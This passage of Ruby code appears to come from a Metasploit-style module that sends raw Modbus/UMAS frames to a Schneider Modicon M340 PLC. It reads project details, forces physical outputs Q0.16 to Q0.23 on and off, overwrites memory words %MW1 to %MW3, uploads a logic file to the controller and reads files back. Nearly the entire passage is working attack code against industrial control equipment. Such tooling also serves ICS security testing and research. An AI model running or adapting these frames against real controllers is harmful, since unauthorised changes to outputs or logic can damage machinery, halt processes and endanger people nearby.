222 | comments += [char.to_i].pack("c")
223 | end
224 | print_good("Project comments : " + comments.reverse)
225 | end
226 |
227 | def force_m340_outputs
228 | print_status("Sending initialization requests ...")
229 | api = send_frame(make_frame("\x00\x5a\x00\x02"))
230 | #print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
231 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
232 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
233 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
234 | project_name = project.to_s
235 | #print_good('Project name : ' + project_name[49..-1])
236 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
237 | send_frame(make_frame("\x00\x5a\x00\x04"))
238 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
239 | host_name = host.to_s
240 | #print_good('host : ' + host_name)
241 | #print_good('Hostname running Unity : ' + host_name[19..-1])
242 | payload = "\x00\x5a\x00\x0a\x00"
243 | (0..0xf9).each { |x| payload += [x].pack("c") }
244 | send_frame(make_frame(payload))
245 | send_frame(make_frame("\x00\x5a\x00\x04"))
246 | send_frame(make_frame("\x00\x5a\x00\x04"))
247 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
248 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
249 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
250 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
251 | tableau = []
252 | data.bytes.each do |byte|
253 | tableau.push(byte.to_s)
254 | end
255 | @uaelbat = tableau.reverse
256 | nb_to_delete = 1
257 | for i in 1..tableau.size
258 | if @uaelbat[i].to_s != '0'
259 | break
260 | elsif @uaelbat[i].to_s == '0'
261 | nb_to_delete +=1
262 | end
263 | end
264 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
265 | test = tableau2.split('0')
266 | unity_version = ''
267 | test[0].each do |char|
268 | unity_version += [char.to_i].pack("c")
269 | end
270 | #print_good("Unity software version : " + unity_version.reverse)
271 | comments =''
272 | test[7].each do |char|
273 | comments += [char.to_i].pack("c")
274 | end
275 | #print_good("Project comments : " + comments.reverse)
276 | # Force some bits
277 | sleep_time = 5
278 |
279 | # Send some garbage
280 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07"))
281 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
282 |
283 | #data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
284 | sleep(sleep_time)
285 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
286 | # sleep(sleep_time)
287 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
288 | # sleep(sleep_time)
289 |
290 | print_status("Sending request to set Q0.16 to 1")
291 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x02\x05\x01\x04\x00\x00\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
292 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x03\x05\x01\x04\x00\x00\x00\x02"))
293 | sleep(sleep_time)
294 | print_status("Sending request to set Q0.16 to 0")
295 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x02\x05\x01\x04\x00\x00\x00\x02"))
296 | sleep(sleep_time)
297 | print_status("Sending request to unforce Q0.16")
298 | data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
299 | sleep(sleep_time)
300 |
301 | print_status("Sending request to set Q0.17 to 1")
302 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03"))
303 | sleep(sleep_time)
304 | print_status("Sending request to set Q0.17 to 0")
305 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x02"))
306 | sleep(sleep_time)
307 | print_status("Sending request to unforce Q0.17")
308 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x04"))
309 | sleep(sleep_time)
310 |
311 | print_status("Sending request to set Q0.18 to 1")
312 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x03"))
313 | sleep(sleep_time)
314 | print_status("Sending request to set Q0.18 to 0")
315 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02"))
316 | sleep(sleep_time)
317 | print_status("Sending request to unforce Q0.18")
318 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x04"))
319 | sleep(sleep_time)
320 |
321 | print_status("Sending request to set Q0.19 to 1")
322 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x03"))
323 | sleep(sleep_time)
324 | print_status("Sending request to set Q0.19 to 0")
325 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x02"))
326 | sleep(sleep_time)
327 | print_status("Sending request to unforce Q0.19")
328 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04"))
329 |
330 | print_status("Sending request to set Q0.20 to 1")
331 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x03"))
332 | sleep(sleep_time)
333 | print_status("Sending request to set Q0.20 to 0")
334 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x02"))
335 | sleep(sleep_time)
336 | print_status("Sending request to unforce Q0.20")
337 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x14\x00\x01\x00\x00\x00\x04"))
338 |
339 | print_status("Sending request to set Q0.21 to 1")
340 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x03"))
341 | sleep(sleep_time)
342 | print_status("Sending request to set Q0.22 to 0")
343 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x02"))
344 | sleep(sleep_time)
345 | print_status("Sending request to unforce Q0.22")
346 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x15\x00\x01\x00\x00\x00\x04"))
347 |
348 | print_status("Sending request to set Q0.23 to 1")
349 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x03"))
350 | sleep(sleep_time)
351 | print_status("Sending request to set Q0.23 to 0")
352 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x02"))
353 | sleep(sleep_time)
354 | print_status("Sending request to unforce Q0.23")
355 | data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x16\x00\x01\x00\x00\x00\x04"))
356 |
357 |
358 | # sleep 2
359 | # print_status("Sending request to set %MW2 to 0")
360 | #
361 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
362 | # sleep 2
363 | # print_status("Sending request to set %MW2 to 1")
364 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
365 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
366 | # print_status("Sending request to set %MW4 to 1")
367 | # send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
368 | # sleep 2
369 | # #print_status("Sending request to unforce Q0.18")
370 | #data = send_frame(make_frame("\x00\x5a\x00\x71\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x13\x00\x01\x00\x00\x00\x04"))
371 | end
372 |
373 |
374 | def force_m340_words
375 | print_status("Sending initialization requests ...")
376 | api = send_frame(make_frame("\x00\x5a\x00\x02"))
377 | #print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
378 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
379 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
380 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
381 | project_name = project.to_s
382 | #print_good('Project name : ' + project_name[49..-1])
383 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
384 | send_frame(make_frame("\x00\x5a\x00\x04"))
385 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
386 | host_name = host.to_s
387 | #print_good('host : ' + host_name)
388 | #print_good('Hostname running Unity : ' + host_name[19..-1])
389 | payload = "\x00\x5a\x00\x0a\x00"
390 | (0..0xf9).each { |x| payload += [x].pack("c") }
391 | send_frame(make_frame(payload))
392 | send_frame(make_frame("\x00\x5a\x00\x04"))
393 | send_frame(make_frame("\x00\x5a\x00\x04"))
394 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
395 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
396 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
397 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
398 | tableau = []
399 | data.bytes.each do |byte|
400 | tableau.push(byte.to_s)
401 | end
402 | @uaelbat = tableau.reverse
403 | nb_to_delete = 1
404 | for i in 1..tableau.size
405 | if @uaelbat[i].to_s != '0'
406 | break
407 | elsif @uaelbat[i].to_s == '0'
408 | nb_to_delete +=1
409 | end
410 | end
411 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
412 | test = tableau2.split('0')
413 | unity_version = ''
414 | test[0].each do |char|
415 | unity_version += [char.to_i].pack("c")
416 | end
417 | #print_good("Unity software version : " + unity_version.reverse)
418 | comments =''
419 | test[7].each do |char|
420 | comments += [char.to_i].pack("c")
421 | end
422 | #print_good("Project comments : " + comments.reverse)
423 | # Force some bits
424 | sleep_time = 5
425 |
426 | # Send some garbage
427 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x09\x01\x22\x00\x07\x00\x09\x02\x0b\x00\x01\x00\x07"))
428 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
429 |
430 | #data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
431 | sleep(sleep_time)
432 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
433 | # sleep(sleep_time)
434 | # data = send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0c\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0c\x01\x2d\x00\x0c\x00\x00\x00\x0b\x00\x01\x04\x05\x01\x04\x00\x00\x00\x02"))
435 | # sleep(sleep_time)
436 |
437 | print_status("Sending request to set %MW1 to 0")
438 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
439 | sleep(sleep_time)
440 | print_status("Sending request to set %MW1 to 1")
441 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa2\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
442 | sleep(sleep_time)
443 |
444 | print_status("Sending request to set %MW2 to 0")
445 | sleep(sleep_time)
446 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
447 | sleep(sleep_time)
448 | print_status("Sending request to set %MW2 to 1")
449 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x0e\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa4\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
450 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x12\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa6\x01\x00\x00\x01\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
451 | sleep(sleep_time)
452 |
453 | print_status("Sending request to set %MW3 to 1")
454 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x02"))
455 | sleep(sleep_time)
456 | print_status("Sending request to set %MW3 to 0")
457 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x03\x01\x02\x14\x00\x0c\x00\x03\x02\x00\x00\x0c\x00\x0a\x2b\x00\xa8\x01\x00\x00\x00\x00\x01\x00\x01\x05\x01\x04\x00\x00\x00\x03"))
458 | sleep(sleep_time)
459 | end
460 |
461 | # Write the contents of local file filename to the target's filenumber
462 | # blank logic files will be available on the Digital Bond website
463 | def writefile
464 | print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
465 | #blocksize = 244 # bytes per block in file transfer
466 | blocksize = 218 # bytes per block in file transfer
467 | buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
468 | fullblocks = buf.length / blocksize
469 | #if fullblocks > 255
470 | # print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
471 | # return
472 | #end
473 | print_status "Total number of blocks : #{fullblocks}"
474 | lastblocksize = buf.length - (blocksize*fullblocks)
475 | lastblocksize_enhexa = [lastblocksize].pack("c")
476 | print_status "Last block size : #{lastblocksize}"
477 | fileblocks = fullblocks
478 | if lastblocksize != 0
479 | fileblocks += 1
480 | end
481 | filetype = buf[0..2]
482 | if filetype == "APX"
483 | filenum = "\x01"
484 | elsif filetype == "APB"
485 | filenum = "\x10"
486 | end
487 | send_frame(make_frame("\x00\x5a\x01\x41\xff\x00"))
488 | send_frame(make_frame("\x00\x5a\x00\x03\x01"))
489 | send_frame(make_frame("\x00\x5a\x01\x04"))
490 | send_frame(make_frame("\x00\x5a\x00\x02"))
491 | send_frame(make_frame("\x00\x5a\x00\x02"))
492 | send_frame(make_frame("\x00\x5a\x01\x04"))
493 | send_frame(make_frame("\x00\x5a\x01\x04"))
494 | send_frame(make_frame("\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xe1\x00"))
495 | send_frame(make_frame("\x00\x5a\x00\x02"))
496 | send_frame(make_frame("\x00\x5a\x01\x04"))
497 | send_frame(make_frame("\x00\x5a\x00\x03\x01"))
498 | send_frame(make_frame("\x00\x5a\x00\x02"))
499 | send_frame(make_frame("\x00\x5a\x00\x02"))
500 | send_frame(make_frame("\x00\x5a\x01\x04"))
501 | payload = "\x00\x5a\x01\x30\x00"
502 | payload += filenum
503 | response = send_frame(make_frame(payload))
504 | if response[8..9] == "\x01\xfe"
505 | print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
506 | else
507 | print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
508 | return
509 | end
510 | payload = "\x00\x5a\x01\x04"
511 | send_frame(make_frame(payload))
512 | block = 1
513 | block2 = 0
514 | block_nb = 1
515 | block2status = 0 # block 2 must always be sent twice
516 | while block_nb < (fileblocks - 1)
517 | block_nb = block2*16*16 + block
518 | if block == 256
519 | block = 0
520 | block2 += 1
521 | end
522 | payload = "\x00\x5a\x01\x31\x00"
523 | payload += filenum
524 | payload += [block].pack("c")
525 | payload += [block2].pack("c")
526 | payload += "\xda\x00"
527 | payload += buf[(((block2*16*16 + block) - 1) * 218)..(((block2*16*16 + block) * 218) - 1)]
528 | res = send_frame(make_frame(payload))
529 | print_status "Envoi du block #{block_nb}/#{fullblocks} (#{block2}::#{block})"
530 | if res[8..9] != "\x01\xfe"
531 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block_nb}")
532 | return
533 | end
534 | # redo this iteration of the loop if we're on block 2
535 | if block2status == 0 and block == 2
536 | print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
537 | block2status = 1
538 | redo
539 | end
540 | block += 1
541 | end
542 | if lastblocksize > 0
543 | print_status "Last Block !"
544 | print_status "Size : #{lastblocksize}"
545 | payload = "\x00\x5a\x01\x31\x00"
546 | payload += filenum
547 | payload += [block].pack("c")
548 | payload += [block2].pack("c")
549 | payload += [lastblocksize].pack("c") + "\x00"
550 | payload += buf[(((block2*16*16 + block)-1) * 218)..((((block2*16*16 + block)-1) * 218) + lastblocksize)]
551 | print_status "#{rhost}:#{rport} - MODBUS - Block #{block_nb}: #{payload.inspect}"
552 | res = send_frame(make_frame(payload))
553 | if res[8..9] != "\x01\xfe"
554 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
555 | return
556 | end
557 | end
558 | vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
559 | payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x0a"
560 | send_frame(make_frame(payload))
561 | end
562 | # Only reading the STL file is supported at the moment :(
563 | def readfile
564 | print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
565 | file = File.open(datastore['FILENAME'], 'wb')
566 | print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
567 | filedata = ""
568 |
569 |
570 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfb\xff\x01\x00\x01\x00"))
571 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00"))
572 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00"))
573 | response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x02\x00\x00\xec\x00"))
574 | response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x02\x00\x00\x9b\x00"))
575 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xfe\x01\x00\xec\x00"))
576 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xff\x01\x00\x40\x00"))
577 | response = send_frame(make_frame("\x01\x5a\x00\x28\x00\x80\x00\x07\xec\x00"))
578 | filedata += response[0xe..-1]
579 | response = send_frame(make_frame("\x01\x5a\x00\x28\xec\x80\x00\x07\xec\x00"))
580 | filedata += response[0xe..-1]
581 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd8\x81\x00\x07\xec\x00"))
582 | filedata += response[0xe..-1]
583 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc4\x82\x00\x07\xec\x00"))
584 | filedata += response[0xe..-1]
585 | response = send_frame(make_frame("\x01\x5a\x00\x28\xb0\x83\x00\x07\xec\x00"))
586 | filedata += response[0xe..-1]
587 | response = send_frame(make_frame("\x01\x5a\x00\x28\x9c\x84\x00\x07\xec\x00"))
588 | filedata += response[0xe..-1]
589 | response = send_frame(make_frame("\x01\x5a\x00\x28\x88\x85\x00\x07\xec\x00"))
590 | filedata += response[0xe..-1]
591 | response = send_frame(make_frame("\x01\x5a\x00\x28\x74\x86\x00\x07\xec\x00"))
592 | filedata += response[0xe..-1]
593 | response = send_frame(make_frame("\x01\x5a\x00\x28\x60\x87\x00\x07\xec\x00"))
594 | filedata += response[0xe..-1]
595 | response = send_frame(make_frame("\x01\x5a\x00\x28\x4c\x88\x00\x07\xec\x00"))
596 | filedata += response[0xe..-1]
597 | response = send_frame(make_frame("\x01\x5a\x00\x28\x38\x89\x00\x07\xec\x00"))
598 | filedata += response[0xe..-1]
599 | response = send_frame(make_frame("\x01\x5a\x00\x28\x24\x8a\x00\x07\xec\x00"))
600 | filedata += response[0xe..-1]
601 | response = send_frame(make_frame("\x01\x5a\x00\x28\x10\x8b\x00\x07\xec\x00"))
602 | filedata += response[0xe..-1]
603 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\x8b\x00\x07\xec\x00"))
604 | filedata += response[0xe..-1]
605 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\x8c\x00\x07\xec\x00"))
606 | filedata += response[0xe..-1]
607 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\x8d\x00\x07\xec\x00"))
608 | filedata += response[0xe..-1]
609 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\x8e\x00\x07\xec\x00"))
610 | filedata += response[0xe..-1]
611 | response = send_frame(make_frame("\x01\x5a\x00\x28\xac\x8f\x00\x07\xec\x00"))
612 | filedata += response[0xe..-1]
613 | response = send_frame(make_frame("\x01\x5a\x00\x28\x98\x90\x00\x07\xec\x00"))
614 | filedata += response[0xe..-1]
615 | response = send_frame(make_frame("\x01\x5a\x00\x28\x84\x91\x00\x07\xec\x00"))
616 | filedata += response[0xe..-1]
617 | response = send_frame(make_frame("\x01\x5a\x00\x28\x70\x92\x00\x07\x52\x00"))
618 | filedata += response[0xe..-1]
619 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xef\x00\x07\xec\x00"))
620 | filedata += response[0xe..-1]
621 | response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf0\x00\x07\x4f\x00"))
622 | filedata += response[0xe..-1]
623 | response = send_frame(make_frame("\x01\x5a\x00\x28\xfc\xd9\x03\x07\xec\x00"))
624 | filedata += response[0xe..-1]
625 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe8\xda\x03\x07\xec\x00"))
626 | filedata += response[0xe..-1]
627 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd4\xdb\x03\x07\xec\x00"))
628 | filedata += response[0xe..-1]
629 | response = send_frame(make_frame("\x01\x5a\x00\x28\xc0\xdc\x03\x07\xec\x00"))
630 | filedata += response[0xe..-1]
631 | response = send_frame(make_frame("\x01\x5a\x00\x28\xac\xdd\x03\x07\xec\x00"))
632 | filedata += response[0xe..-1]
633 | response = send_frame(make_frame("\x01\x5a\x00\x28\x98\xde\x03\x07\xec\x00"))
634 | filedata += response[0xe..-1]
635 | response = send_frame(make_frame("\x01\x5a\x00\x28\x84\xdf\x03\x07\xec\x00"))
636 | filedata += response[0xe..-1]
637 | response = send_frame(make_frame("\x01\x5a\x00\x28\x70\xe0\x03\x07\xec\x00"))
638 | filedata += response[0xe..-1]
639 | response = send_frame(make_frame("\x01\x5a\x00\x28\x5c\xe1\x03\x07\xec\x00"))
640 | filedata += response[0xe..-1]
641 | response = send_frame(make_frame("\x01\x5a\x00\x28\x48\xe2\x03\x07\xec\x00"))
642 | filedata += response[0xe..-1]
643 | response = send_frame(make_frame("\x01\x5a\x00\x28\x34\xe3\x03\x07\xec\x00"))
644 | filedata += response[0xe..-1]
645 | response = send_frame(make_frame("\x01\x5a\x00\x28\x20\xe4\x03\x07\xec\x00"))
646 | filedata += response[0xe..-1]
647 | response = send_frame(make_frame("\x01\x5a\x00\x28\x0c\xe5\x03\x07\xec\x00"))
648 | filedata += response[0xe..-1]
649 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf8\xe5\x03\x07\xec\x00"))
650 | filedata += response[0xe..-1]
651 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe4\xe6\x03\x07\xec\x00"))
652 | filedata += response[0xe..-1]
653 | response = send_frame(make_frame("\x01\x5a\x00\x28\xd0\xe7\x03\x07\xec\x00"))
654 | filedata += response[0xe..-1]
655 | response = send_frame(make_frame("\x01\x5a\x00\x28\xbc\xe8\x03\x07\xec\x00"))
656 | filedata += response[0xe..-1]
657 | response = send_frame(make_frame("\x01\x5a\x00\x28\xa8\xe9\x03\x07\xec\x00"))
658 | filedata += response[0xe..-1]
659 | response = send_frame(make_frame("\x01\x5a\x00\x28\x94\xea\x03\x07\xec\x00"))
660 | filedata += response[0xe..-1]
661 | response = send_frame(make_frame("\x01\x5a\x00\x28\x80\xeb\x03\x07\xec\x00"))
662 | filedata += response[0xe..-1]
663 | response = send_frame(make_frame("\x01\x5a\x00\x28\x6c\xec\x03\x07\xec\x00"))
664 | filedata += response[0xe..-1]
665 | response = send_frame(make_frame("\x01\x5a\x00\x28\x58\xed\x03\x07\xec\x00"))
666 | filedata += response[0xe..-1]
667 | response = send_frame(make_frame("\x01\x5a\x00\x28\x44\xee\x03\x07\xec\x00"))
668 | filedata += response[0xe..-1]
669 | response = send_frame(make_frame("\x01\x5a\x00\x28\x30\xef\x03\x07\xec\x00"))
670 | filedata += response[0xe..-1]
671 | response = send_frame(make_frame("\x01\x5a\x00\x28\x1c\xf0\x03\x07\xec\x00"))
672 | filedata += response[0xe..-1]
673 | response = send_frame(make_frame("\x01\x5a\x00\x28\x08\xf1\x03\x07\xec\x00"))
674 | filedata += response[0xe..-1]
675 | response = send_frame(make_frame("\x01\x5a\x00\x28\xf4\xf1\x03\x07\xec\x00"))
676 | filedata += response[0xe..-1]
677 | response = send_frame(make_frame("\x01\x5a\x00\x28\xe0\xf2\x03\x07\xec\x00"))
678 | filedata += response[0xe..-1]
679 | response = send_frame(make_frame("\x01\x5a\x00\x28\xcc\xf3\x03\x07\xec\x00"))
680 | filedata += response[0xe..-1]
681 | response = send_frame(make_frame("\x01\x5a\x00\x28\xb8\xf4\x03\x07\xec\x00"))
682 | filedata += response[0xe..-1]
683 | response = send_frame(make_frame("\x01\x5a\x00\x28\xa4\xf5\x03\x07\xec\x00"))
684 | filedata += response[0xe..-1]
685 | response = send_frame(make_frame("\x01\x5a\x00\x28\x90\xf6\x03\x07\xec\x00"))
686 | filedata += response[0xe..-1]
687 | response = send_frame(make_frame("\x01\x5a\x00\x28\x7c\xf7\x03\x07\xec\x00"))
688 | filedata += response[0xe..-1]
689 | response = send_frame(make_frame("\x01\x5a\x00\x28\x68\xf8\x03\x07\xec\x00"))
690 | filedata += response[0xe..-1]
691 | response = send_frame(make_frame("\x01\x5a\x00\x28\x54\xf9\x03\x07\xec\x00"))
692 | filedata += response[0xe..-1]
693 | response = send_frame(make_frame("\x01\x5a\x00\x28\x40\xfa\x03\x07\xec\x00"))
694 | filedata += response[0xe..-1]
695 | response = send_frame(make_frame("\x01\x5a\x00\x28\x2c\xfb\x03\x07\xec\x00"))
696 | filedata += response[0xe..-1]
